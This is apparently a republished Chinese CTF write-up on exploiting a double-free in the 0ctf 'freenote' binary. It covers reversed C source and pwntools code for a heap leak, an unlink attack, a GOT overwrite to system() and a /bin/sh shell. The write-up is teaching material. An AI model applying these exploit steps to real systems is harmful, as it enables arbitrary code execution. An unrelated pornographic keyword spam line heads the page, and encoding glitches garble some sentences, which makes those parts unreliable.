日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

将一个指针 free 两次之后会发生什么?

發(fā)布時(shí)間:2025/3/15 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 将一个指针 free 两次之后会发生什么? 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

0x00 簡(jiǎn)介


在入門 c 語(yǔ)言時(shí)我們都知道一個(gè)常識(shí):通過(guò) malloc() 動(dòng)態(tài)申請(qǐng)的內(nèi)存在使用完之后需要通過(guò) free() 釋放;那么如果因?yàn)槌绦蛟O(shè)計(jì)不當(dāng),導(dǎo)致這塊堆內(nèi)存釋放之后,再釋放一次會(huì)發(fā)生什么呢?看起來(lái)這個(gè)操作似乎很愚蠢,但是 double free 的確是現(xiàn)代軟件中十分常見(jiàn)的一種二進(jìn)制漏洞。


我將通過(guò)一個(gè)例子來(lái)說(shuō)明 double free 可能造成的危害。這個(gè)例子是曾經(jīng)的一道 0ctf 賽題。ctf 比賽通過(guò)簡(jiǎn)單演示常見(jiàn)計(jì)算機(jī)漏洞向參與者普及安全技術(shù),是入門安全的較好方法之一。


程序地址:github.com/ctfs/write-u
環(huán)境:ubuntu 16.04 x86_64
工具:ida, pwntools, pwndbg


逆向之后還原的代碼如下,如果不想看全部可以先注意虛線處的 bug(reversed by

@愛(ài)發(fā)呆的sakura ):

#include <stdio.h> #include <stdlib.h> #include <unistd.h>typedef struct note {long int flag;//是否存在筆記long int length;//筆記內(nèi)容的長(zhǎng)度char *content;//筆記內(nèi)容 } note; typedef struct notes {long int max;long int length;note notes256[256]; } notes;notes *base;void allocate_space() {base = (notes *) malloc(sizeof(notes));for (int i = 0; i < 256; i++) {base->notes256[i].flag = 0;base->notes256[i].length = 0;base->notes256[i].content = NULL;} }int read_choice() {int choice;puts("== 0ops Free Note ==");puts("1. List Note");puts("2. New Note");puts("3. Edit Note");puts("4. Delete Note");puts("5. Exit");puts("====================");printf("Your choice: ");scanf("%d", &choice);return choice; }void list() {for (int i = 0;; i++) {if (i >= 256) {break;}if (base->notes256[i].flag == 1) {printf("%d. %s\n", i, base->notes256[i].content);}} }void read_content(char *temp, int str_len) {int i;int read_num;for (i = 0; i < str_len; i += read_num) {read_num = read(0, (void *) (temp + i), str_len - i);if (read_num <= 0) {break;}} }void new_note() {int str_len;//字符串長(zhǎng)度char *temp;void *str;if (base->length < base->max) {for (int i = 0;; i++) {if (i >= base->max) {break;}if (!base->notes256[i].flag) {printf("Length of new note: ");scanf("%d", &str_len);if (str_len > 0) {if (str_len > 4096) {str_len = 4096;}printf("Enter your note: ");temp = (char *) malloc((128 - str_len % 128) % 128 + str_len);read_content(temp, str_len);base->notes256[i].flag = 1;base->notes256[i].length = str_len;base->notes256[i].content = temp;base->length++;puts("Done.");break;}}}} }void edit_note() {printf("Note number: ");int num;scanf("%d",&num);int length;scanf("%d",&length);if(length!=base->notes256[num].length){base->notes256[num].content=realloc(base->notes256[num].content,(128 - length % 128) % 128 + length);base->notes256[num].length=length;}printf("Enter your note: ");read_content(base->notes256[num].content,length);puts("Done."); }void delete_note() {int index;printf("Note number: ");scanf("%d", &index);base->length--;base->notes256[index].flag = 0;base->notes256[index].length = 0;/*------------------------------------------------------------------*/ /*-------------------------- bug is here ---------------------------*/free(base->notes256[index].content);/*-------------------------------------------------------------------*/ /*-------------------------------------------------------------------*/puts("Done."); }int main() {allocate_space();base->max = 256;while (1) {switch (read_choice()) {case 1:list();break;case 2:new_note();break;case 3:edit_note();break;case 4:delete_note();break;case 5:puts("Bye");return 0;default:puts("Invalid!");break;}} }


可以看到在

free(base->notes256[index].content);

之后該指針并未置空,在隨后的執(zhí)行流程中可以再次 free 該指針造成 double free 漏洞。如果賦值為 NULL 則不會(huì)出現(xiàn)這個(gè)問(wèn)題,釋放空指針是安全的行為。


并且注意到在

base->notes256[i].content

固定儲(chǔ)存著 note0 字符串的地址,當(dāng)然,在利用這個(gè)指針的時(shí)候還需要知道它的地址。然后通過(guò)觸發(fā) double free,更改存 note0 字符串地址的地方,覆蓋 got 表,改變程序執(zhí)行流程。


下面講具體實(shí)現(xiàn)過(guò)程。


0x01 Info Leak



根據(jù)源代碼可以看出 list 功能中存在一個(gè)疏漏可以導(dǎo)致泄漏未初始化的堆中的數(shù)據(jù),如果

泄漏地址需要用到兩個(gè) chunk,防止合并需要兩個(gè),所以首先添加 4 個(gè) note。

這時(shí)候的堆布局:

將 0 和 2 釋放之后,note0 chunk 中的 BK 將指向 note2 chunk:

這時(shí)候添加一個(gè)長(zhǎng)度小于等于 8 的 note,又將被分配到 note0 的地址,然后在打印其內(nèi)容的時(shí)候?qū)⑸洗?free 后保存的 BK 指針一起打印出來(lái)。能這樣做是因?yàn)?#xff0c;malloc chunk 是空間復(fù)用的,每一個(gè) chunk 都只是一段連續(xù)內(nèi)存,根據(jù)不同的情況,一個(gè)地址的數(shù)據(jù)可以被解釋為用戶數(shù)據(jù),也可以被解釋為堆指針。將這個(gè)泄漏的地址減去 1940h 就得到了 heap base。 知道 heap base 之后就可以計(jì)算出 base->notes256[i].content.


泄漏地址之后,就可以釋放所有 chunk。

實(shí)現(xiàn)如下:

for i in range(4):newnote('a') delnote(0) delnote(2)newnote('murasaki')s = getnote(0)[8:] heap_addr = u64((s.ljust(8, "\x00"))[:8]) heap_base = heap_addr - 0x1940 print "heap base is at %s" % hex(heap_base)delnote(0) delnote(1) delnote(3)


0x02 unlink()


unlink 在空閑 chunk 合并時(shí)觸發(fā)。在這里,因?yàn)椴皇?fastbin,在 free 時(shí)如果前后有空閑 chunk 就會(huì)觸發(fā) unlink:更改相鄰 chunk 相關(guān)參數(shù)、指針,實(shí)現(xiàn)向前或者向后合并。我們可以通過(guò)觸發(fā) unlink(p, BK, FD), 造成 p = &p - 3,將不可寫的地址轉(zhuǎn)化為可寫。


為什么呢?我們來(lái)回顧一下 unlink(p, BK, FD)的行為:


1. FD = p->fd == &p - 3, BK = p->bk == &p - 2 2. 檢查 FD->bk != p || BK->fd != p,可以利用一個(gè)已知指針繞過(guò),即上一節(jié)泄漏的base->notes256[i].content 3. FD->bk = BK //即 p = &p - 2 4. BK->fd = FD //即 p = &p - 3


在二進(jìn)制可執(zhí)行文件的層次不存在結(jié)構(gòu)體的概念,只有一段連續(xù)的內(nèi)存,通過(guò)偏移量來(lái)訪問(wèn)。所以我們可以布置偽造的 chunk,將我們提供的指針被解釋為 BK 和 FD,最終實(shí)現(xiàn) p = &p - 3,如果還有不懂的可以查找 unlink 有關(guān)資料進(jìn)一步學(xué)習(xí)。


接下來(lái)是最有意思的部分—— free 偽造堆塊實(shí)現(xiàn)任意位置讀寫。堆布局的方法比較靈活,只要能成功利用怎么玩都可以。我的思路是這樣的:


  • 添加 note0,size 為 0x90,用戶數(shù)據(jù)大小為 0x80,內(nèi)容是一個(gè)偽造的 chunk:size == note0 大小 + note1 size == 0x80 + 0x90 == 0x110
  • 添加更大的 note1,包含多個(gè)偽造的 chunk,覆蓋了原 note2 的地址,也就是將 double free 的地址。

  • 實(shí)現(xiàn)如下:


    newnote(p64(0) + p64(0x110 + 1) + p64(heap_base + 0x18)+p64(heap_base + 0x20)) newnote("a" * 0x80 + p64(0x110) + p64(0x90) + "a" * 0x80 + p64(0) + p64(0x91) + "a" * 0x80) delnote(2)


    經(jīng)過(guò)調(diào)試你會(huì)發(fā)現(xiàn)這個(gè)時(shí)候就實(shí)現(xiàn)了 p = &p - 3,也就是原來(lái)儲(chǔ)存 note0 地址的地方變了,現(xiàn)在修改 note0 的用戶數(shù)據(jù)就是修改 note0 的地址,之后再編輯 note0 就是改變這個(gè)地址的內(nèi)容。


    0x03 覆蓋 GOT


    因?yàn)檫@個(gè)程序的 got 是可寫的,所以在實(shí)現(xiàn)任意寫之后可以將 free@got 覆寫成 system() 地址:


    elf = ELF('freenote') off_system=libc.symbols['system'] off_free=libc.symbols['free'] free_got=elf.got['free'] editnote(0, p64(100) + p64(1) + p64(8) + p64(free_got)) s = getnote(0) free_addr = u64((s.ljust(8, "\x00"))[:8]) libc_addr = free_addr - off_free system_addr = libc_addr + off_system print "system is at %s" % hex(system_addr) editnote(0, p64(system_addr))


    現(xiàn)在調(diào)用 free() 就是調(diào)用 system() :


    newnote("/bin/sh\x00") delnote(2) p.interactive()



    綜上,將一個(gè)指針釋放兩次確實(shí)是非常危險(xiǎn)的行為,它可以造成任意代碼執(zhí)行。希望廣大開(kāi)發(fā)者和想從事安全行業(yè)的新手們可以從中得到一點(diǎn)點(diǎn)啟發(fā)。


    0x04 完整 EXP

    鏈接:pan.baidu.com/s/1jIotmG 密碼:pdvw


    https://zhuanlan.zhihu.com/p/30513886

    總結(jié)

    以上是生活随笔為你收集整理的将一个指针 free 两次之后会发生什么?的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。